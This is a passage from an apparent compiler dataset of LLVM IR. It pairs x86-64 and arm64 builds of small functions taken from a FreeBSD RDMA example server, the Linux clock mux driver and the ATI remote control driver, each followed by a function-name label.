"llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @test() #0 { %1 = alloca ptr, align 8 %2 = alloca %struct.ibv_qp_init_attr, align 8 %3 = alloca %struct.rdma_conn_param, align 8 %4 = alloca %struct.ibv_wc, align 4 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %1) #3 call void @llvm.lifetime.start.p0(i64 32, ptr nonnull %2) #3 call void @llvm.lifetime.start.p0(i64 32, ptr nonnull %3) #3 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %5 = load i32, ptr @port, align 4, !tbaa !5 %6 = call i32 @rdma_getaddrinfo(ptr noundef null, i32 noundef %5, ptr noundef nonnull @hints, ptr noundef nonnull %1) #3 %7 = icmp eq i32 %6, 0 br i1 %7, label %11, label %8 8: ; preds = %0 %9 = call ptr @gai_strerror(i32 noundef %6) #3 %10 = call i32 @printf(ptr noundef nonnull @.str, ptr noundef %9) #3 br label %77 11: ; preds = %0 %12 = call i32 @memset(ptr noundef nonnull %2, i32 noundef 0, i32 noundef 32) #3 %13 = getelementptr inbounds %struct.ibv_qp_init_attr, ptr %2, i64 0, i32 2 store <4 x i32> <i32 1, i32 1, i32 1, i32 1>, ptr %13, align 8, !tbaa !5 %14 = load ptr, ptr %1, align 8, !tbaa !9 %15 = call i32 @rdma_create_ep(ptr noundef nonnull @listen_id, ptr noundef %14, ptr noundef null, ptr noundef nonnull %2) #3 %16 = load ptr, ptr %1, align 8, !tbaa !9 %17 = call i32 @rdma_freeaddrinfo(ptr noundef %16) #3 %18 = icmp eq i32 %15, 0 br i1 %18, label %21, label %19 19: ; preds = %11 %20 = call i32 @perror(ptr noundef nonnull @.str.1) #3 br label %77 21: ; preds = %11 %22 = load i32, ptr @listen_id, align 4, !tbaa !5 %23 = call i32 @rdma_listen(i32 noundef %22, i32 noundef 0) #3 %24 = icmp eq i32 %23, 0 br i1 %24, label %27, label %25 25: ; preds = %21 %26 = call i32 @perror(ptr noundef nonnull @.str.2) #3 br label %77 27: ; preds = %21 %28 = load i32, ptr @listen_id, align 4, !tbaa !5 %29 = call i32 @rdma_get_request(i32 noundef %28, ptr noundef nonnull @id) #3 %30 = icmp eq i32 %29, 0 br i1 %30, label %33, label %31 31: ; preds = %27 %32 = call i32 @perror(ptr noundef nonnull @.str.3) #3 br label %77 33: ; preds = %27 %34 = load i64, ptr @hints, align 8, !tbaa !11 %35 = load i64, ptr @IBV_QPT_XRC_RECV, align 8, !tbaa !14 %36 = icmp eq i64 %34, %35 br i1 %36, label %37, label %40 37: ; preds = %33 %38 = call i32 (...) @create_srq() #3 %39 = icmp eq i32 %38, 0 br i1 %39, label %40, label %77 40: ; preds = %37, %33 %41 = load i32, ptr @id, align 4, !tbaa !5 %42 = load i32, ptr @recv_msg, align 4, !tbaa !5 %43 = call i32 @rdma_reg_msgs(i32 noundef %41, i32 noundef %42, i32 noundef 4) #3 store i32 %43, ptr @mr, align 4, !tbaa !5 %44 = icmp eq i32 %43, 0 br i1 %44, label %45, label %47 45: ; preds = %40 %46 = call i32 @perror(ptr noundef nonnull @.str.4) #3 br label %77 47: ; preds = %40 %48 = load i32, ptr @id, align 4, !tbaa !5 %49 = load i32, ptr @recv_msg, align 4, !tbaa !5 %50 = call i32 @rdma_post_recv(i32 noundef %48, ptr noundef null, i32 noundef %49, i32 noundef 4, i32 noundef %43) #3 %51 = icmp eq i32 %50, 0 br i1 %51, label %54, label %52 52: ; preds = %47 %53 = call i32 @perror(ptr noundef nonnull @.str.5) #3 br label %77 54: ; preds = %47 %55 = call i32 @memset(ptr noundef nonnull %3, i32 noundef 0, i32 noundef 32) #3 %56 = getelementptr inbounds %struct.rdma_conn_param, ptr %3, i64 0, i32 1 store ptr @srqn, ptr %56, align 8, !tbaa !15 store i32 4, ptr %3, align 8, !tbaa !18 %57 = load i32, ptr @id, align 4, !tbaa !5 %58 = call i32 @rdma_accept(i32 noundef %57, ptr noundef nonnull %3) #3 %59 = icmp eq i32 %58, 0 br i1 %59, label %62, label %60 60: ; preds = %54 %61 = call i32 @perror(ptr noundef nonnull @.str.6) #3 br label %77 62: ; preds = %54 %63 = load i32, ptr @id, align 4, !tbaa !5 %64 = call i32 @rdma_get_recv_comp(i32 noundef %63, ptr noundef nonnull %4) #3 %65 = icmp slt i32 %64, 1 br i1 %65, label %66, label %68 66: ; preds = %62 %67 = call i32 @perror(ptr noundef nonnull @.str.7) #3 br label %77 68: ; preds = %62 %69 = load i32, ptr @id, align 4, !tbaa !5 %70 = call i32 @rdma_disconnect(i32 noundef %69) #3 %71 = load i32, ptr @mr, align 4, !tbaa !5 %72 = call i32 @rdma_dereg_mr(i32 noundef %71) #3 %73 = load i32, ptr @id, align 4, !tbaa !5 %74 = call i32 @rdma_destroy_ep(i32 noundef %73) #3 %75 = load i32, ptr @listen_id, align 4, !tbaa !5 %76 = call i32 @rdma_destroy_ep(i32 noundef %75) #3 br label %77 77: ; preds = %37, %68, %66, %60, %52, %45, %31, %25, %19, %8 %78 = phi i32 [ %6, %8 ], [ %15, %19 ], [ %23, %25 ], [ %29, %31 ], [ %50, %52 ], [ %58, %60 ], [ %64, %66 ], [ 0, %68 ], [ 0, %45 ], [ %38, %37 ] call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 call void @llvm.lifetime.end.p0(i64 32, ptr nonnull %3) #3 call void @llvm.lifetime.end.p0(i64 32, ptr nonnull %2) #3 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %1) #3 ret i32 %78 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @rdma_getaddrinfo(ptr noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @printf(ptr noundef, ptr noundef) local_unnamed_addr #2 declare ptr @gai_strerror(i32 noundef) local_unnamed_addr #2 declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_create_ep(ptr noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @rdma_freeaddrinfo(ptr noundef) local_unnamed_addr #2 declare i32 @perror(ptr noundef) local_unnamed_addr #2 declare i32 @rdma_listen(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_get_request(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @create_srq(...) local_unnamed_addr #2 declare i32 @rdma_reg_msgs(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_post_recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_accept(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @rdma_get_recv_comp(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @rdma_disconnect(i32 noundef) local_unnamed_addr #2 declare i32 @rdma_dereg_mr(i32 noundef) local_unnamed_addr #2 declare i32 @rdma_destroy_ep(i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"any pointer", !7, i64 0} !11 = !{!12, !13, i64 0} !12 = !{!"TYPE_5__", !13, i64 0} !13 = !{!"long", !7, i64 0} !14 = !{!13, !13, i64 0} !15 = !{!16, !10, i64 8} !16 = !{!"rdma_conn_param", !6, i64 0, !10, i64 8, !17, i64 16} !17 = !{!"TYPE_4__", !6, i64 0, !6, i64 4, !6, i64 8, !6, i64 12} !18 = !{!16, !6, i64 0}
; ModuleID = 'AnghaBench/freebsd/contrib/ofed/librdmacm/examples/extr_rdma_xserver.c_test.c' source_filename = "AnghaBench/freebsd/contrib/ofed/librdmacm/examples/extr_rdma_xserver.c_test.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_5__ = type { i64 } %struct.ibv_qp_init_attr = type { i32, ptr, %struct.TYPE_4__ } %struct.TYPE_4__ = type { i32, i32, i32, i32 } %struct.rdma_conn_param = type { i32, ptr, %struct.TYPE_4__ } %struct.ibv_wc = type { i32 } @port = common local_unnamed_addr global i32 0, align 4 @hints = common global %struct.TYPE_5__ zeroinitializer, align 8 @.str = private unnamed_addr constant [22 x i8] c"rdma_getaddrinfo: %s\0A\00", align 1 @listen_id = common global i32 0, align 4 @.str.1 = private unnamed_addr constant [15 x i8] c"rdma_create_ep\00", align 1 @.str.2 = private unnamed_addr constant [12 x i8] c"rdma_listen\00", align 1 @id = common global i32 0, align 4 @.str.3 = private unnamed_addr constant [17 x i8] c"rdma_get_request\00", align 1 @IBV_QPT_XRC_RECV = common local_unnamed_addr global i64 0, align 8 @recv_msg = common local_unnamed_addr global i32 0, align 4 @mr = common local_unnamed_addr global i32 0, align 4 @.str.4 = private unnamed_addr constant [14 x i8] c"rdma_reg_msgs\00", align 1 @.str.5 = private unnamed_addr constant [15 x i8] c"rdma_post_recv\00", align 1 @srqn = common global i32 0, align 4 @.str.6 = private unnamed_addr constant [12 x i8] c"rdma_accept\00", align 1 @.str.7 = private unnamed_addr constant [19 x i8] c"rdma_get_recv_comp\00", align 1 @llvm.used = appending global [1 x ptr] [ptr @test], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @test() #0 { %1 = alloca ptr, align 8 %2 = alloca %struct.ibv_qp_init_attr, align 8 %3 = alloca %struct.rdma_conn_param, align 8 %4 = alloca %struct.ibv_wc, align 4 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %1) #3 call void @llvm.lifetime.start.p0(i64 32, ptr nonnull %2) #3 call void @llvm.lifetime.start.p0(i64 32, ptr nonnull %3) #3 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %5 = load i32, ptr @port, align 4, !tbaa !6 %6 = call i32 @rdma_getaddrinfo(ptr noundef null, i32 noundef %5, ptr noundef nonnull @hints, ptr noundef nonnull %1) #3 %7 = icmp eq i32 %6, 0 br i1 %7, label %11, label %8 8: ; preds = %0 %9 = call ptr @gai_strerror(i32 noundef %6) #3 %10 = call i32 @printf(ptr noundef nonnull @.str, ptr noundef %9) #3 br label %77 11: ; preds = %0 %12 = call i32 @memset(ptr noundef nonnull %2, i32 noundef 0, i32 noundef 32) #3 %13 = getelementptr inbounds i8, ptr %2, i64 16 store <4 x i32> <i32 1, i32 1, i32 1, i32 1>, ptr %13, align 8, !tbaa !6 %14 = load ptr, ptr %1, align 8, !tbaa !10 %15 = call i32 @rdma_create_ep(ptr noundef nonnull @listen_id, ptr noundef %14, ptr noundef null, ptr noundef nonnull %2) #3 %16 = load ptr, ptr %1, align 8, !tbaa !10 %17 = call i32 @rdma_freeaddrinfo(ptr noundef %16) #3 %18 = icmp eq i32 %15, 0 br i1 %18, label %21, label %19 19: ; preds = %11 %20 = call i32 @perror(ptr noundef nonnull @.str.1) #3 br label %77 21: ; preds = %11 %22 = load i32, ptr @listen_id, align 4, !tbaa !6 %23 = call i32 @rdma_listen(i32 noundef %22, i32 noundef 0) #3 %24 = icmp eq i32 %23, 0 br i1 %24, label %27, label %25 25: ; preds = %21 %26 = call i32 @perror(ptr noundef nonnull @.str.2) #3 br label %77 27: ; preds = %21 %28 = load i32, ptr @listen_id, align 4, !tbaa !6 %29 = call i32 @rdma_get_request(i32 noundef %28, ptr noundef nonnull @id) #3 %30 = icmp eq i32 %29, 0 br i1 %30, label %33, label %31 31: ; preds = %27 %32 = call i32 @perror(ptr noundef nonnull @.str.3) #3 br label %77 33: ; preds = %27 %34 = load i64, ptr @hints, align 8, !tbaa !12 %35 = load i64, ptr @IBV_QPT_XRC_RECV, align 8, !tbaa !15 %36 = icmp eq i64 %34, %35 br i1 %36, label %37, label %40 37: ; preds = %33 %38 = call i32 @create_srq() #3 %39 = icmp eq i32 %38, 0 br i1 %39, label %40, label %77 40: ; preds = %37, %33 %41 = load i32, ptr @id, align 4, !tbaa !6 %42 = load i32, ptr @recv_msg, align 4, !tbaa !6 %43 = call i32 @rdma_reg_msgs(i32 noundef %41, i32 noundef %42, i32 noundef 4) #3 store i32 %43, ptr @mr, align 4, !tbaa !6 %44 = icmp eq i32 %43, 0 br i1 %44, label %45, label %47 45: ; preds = %40 %46 = call i32 @perror(ptr noundef nonnull @.str.4) #3 br label %77 47: ; preds = %40 %48 = load i32, ptr @id, align 4, !tbaa !6 %49 = load i32, ptr @recv_msg, align 4, !tbaa !6 %50 = call i32 @rdma_post_recv(i32 noundef %48, ptr noundef null, i32 noundef %49, i32 noundef 4, i32 noundef %43) #3 %51 = icmp eq i32 %50, 0 br i1 %51, label %54, label %52 52: ; preds = %47 %53 = call i32 @perror(ptr noundef nonnull @.str.5) #3 br label %77 54: ; preds = %47 %55 = call i32 @memset(ptr noundef nonnull %3, i32 noundef 0, i32 noundef 32) #3 %56 = getelementptr inbounds i8, ptr %3, i64 8 store ptr @srqn, ptr %56, align 8, !tbaa !16 store i32 4, ptr %3, align 8, !tbaa !19 %57 = load i32, ptr @id, align 4, !tbaa !6 %58 = call i32 @rdma_accept(i32 noundef %57, ptr noundef nonnull %3) #3 %59 = icmp eq i32 %58, 0 br i1 %59, label %62, label %60 60: ; preds = %54 %61 = call i32 @perror(ptr noundef nonnull @.str.6) #3 br label %77 62: ; preds = %54 %63 = load i32, ptr @id, align 4, !tbaa !6 %64 = call i32 @rdma_get_recv_comp(i32 noundef %63, ptr noundef nonnull %4) #3 %65 = icmp slt i32 %64, 1 br i1 %65, label %66, label %68 66: ; preds = %62 %67 = call i32 @perror(ptr noundef nonnull @.str.7) #3 br label %77 68: ; preds = %62 %69 = load i32, ptr @id, align 4, !tbaa !6 %70 = call i32 @rdma_disconnect(i32 noundef %69) #3 %71 = load i32, ptr @mr, align 4, !tbaa !6 %72 = call i32 @rdma_dereg_mr(i32 noundef %71) #3 %73 = load i32, ptr @id, align 4, !tbaa !6 %74 = call i32 @rdma_destroy_ep(i32 noundef %73) #3 %75 = load i32, ptr @listen_id, align 4, !tbaa !6 %76 = call i32 @rdma_destroy_ep(i32 noundef %75) #3 br label %77 77: ; preds = %37, %68, %66, %60, %52, %45, %31, %25, %19, %8 %78 = phi i32 [ %6, %8 ], [ %15, %19 ], [ %23, %25 ], [ %29, %31 ], [ %50, %52 ], [ %58, %60 ], [ %64, %66 ], [ 0, %68 ], [ 0, %45 ], [ %38, %37 ] call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 call void @llvm.lifetime.end.p0(i64 32, ptr nonnull %3) #3 call void @llvm.lifetime.end.p0(i64 32, ptr nonnull %2) #3 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %1) #3 ret i32 %78 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @rdma_getaddrinfo(ptr noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @printf(ptr noundef, ptr noundef) local_unnamed_addr #2 declare ptr @gai_strerror(i32 noundef) local_unnamed_addr #2 declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_create_ep(ptr noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @rdma_freeaddrinfo(ptr noundef) local_unnamed_addr #2 declare i32 @perror(ptr noundef) local_unnamed_addr #2 declare i32 @rdma_listen(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_get_request(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @create_srq(...) local_unnamed_addr #2 declare i32 @rdma_reg_msgs(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_post_recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @rdma_accept(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @rdma_get_recv_comp(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @rdma_disconnect(i32 noundef) local_unnamed_addr #2 declare i32 @rdma_dereg_mr(i32 noundef) local_unnamed_addr #2 declare i32 @rdma_destroy_ep(i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"any pointer", !8, i64 0} !12 = !{!13, !14, i64 0} !13 = !{!"TYPE_5__", !14, i64 0} !14 = !{!"long", !8, i64 0} !15 = !{!14, !14, i64 0} !16 = !{!17, !11, i64 8} !17 = !{!"rdma_conn_param", !7, i64 0, !11, i64 8, !18, i64 16} !18 = !{!"TYPE_4__", !7, i64 0, !7, i64 4, !7, i64 8, !7, i64 12} !19 = !{!17, !7, i64 0}
freebsd_contrib_ofed_librdmacm_examples_extr_rdma_xserver.c_test
; ModuleID = 'AnghaBench/linux/drivers/clk/extr_clk.c___clk_mux_determine_rate_closest.c' source_filename = "AnghaBench/linux/drivers/clk/extr_clk.c___clk_mux_determine_rate_closest.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @CLK_MUX_ROUND_CLOSEST = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local i32 @__clk_mux_determine_rate_closest(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr @CLK_MUX_ROUND_CLOSEST, align 4, !tbaa !5 %4 = tail call i32 @clk_mux_determine_rate_flags(ptr noundef %0, ptr noundef %1, i32 noundef %3) #2 ret i32 %4 } declare i32 @clk_mux_determine_rate_flags(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/drivers/clk/extr_clk.c___clk_mux_determine_rate_closest.c' source_filename = "AnghaBench/linux/drivers/clk/extr_clk.c___clk_mux_determine_rate_closest.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @CLK_MUX_ROUND_CLOSEST = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @__clk_mux_determine_rate_closest(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr @CLK_MUX_ROUND_CLOSEST, align 4, !tbaa !6 %4 = tail call i32 @clk_mux_determine_rate_flags(ptr noundef %0, ptr noundef %1, i32 noundef %3) #2 ret i32 %4 } declare i32 @clk_mux_determine_rate_flags(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
linux_drivers_clk_extr_clk.c___clk_mux_determine_rate_closest
; ModuleID = 'AnghaBench/linux/drivers/media/rc/extr_ati_remote.c_ati_remote_rc_open.c' source_filename = "AnghaBench/linux/drivers/media/rc/extr_ati_remote.c_ati_remote_rc_open.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @ati_remote_rc_open], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @ati_remote_rc_open(ptr nocapture noundef readonly %0) #0 { %2 = load ptr, ptr %0, align 8, !tbaa !5 %3 = tail call i32 @ati_remote_open(ptr noundef %2) #2 ret i32 %3 } declare i32 @ati_remote_open(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"rc_dev", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/drivers/media/rc/extr_ati_remote.c_ati_remote_rc_open.c' source_filename = "AnghaBench/linux/drivers/media/rc/extr_ati_remote.c_ati_remote_rc_open.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @ati_remote_rc_open], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @ati_remote_rc_open(ptr nocapture noundef readonly %0) #0 { %2 = load ptr, ptr %0, align 8, !tbaa !6 %3 = tail call i32 @ati_remote_open(ptr noundef %2) #2 ret i32 %3 } declare i32 @ati_remote_open(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"rc_dev", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
linux_drivers_media_rc_extr_ati_remote.c_ati_remote_rc_open
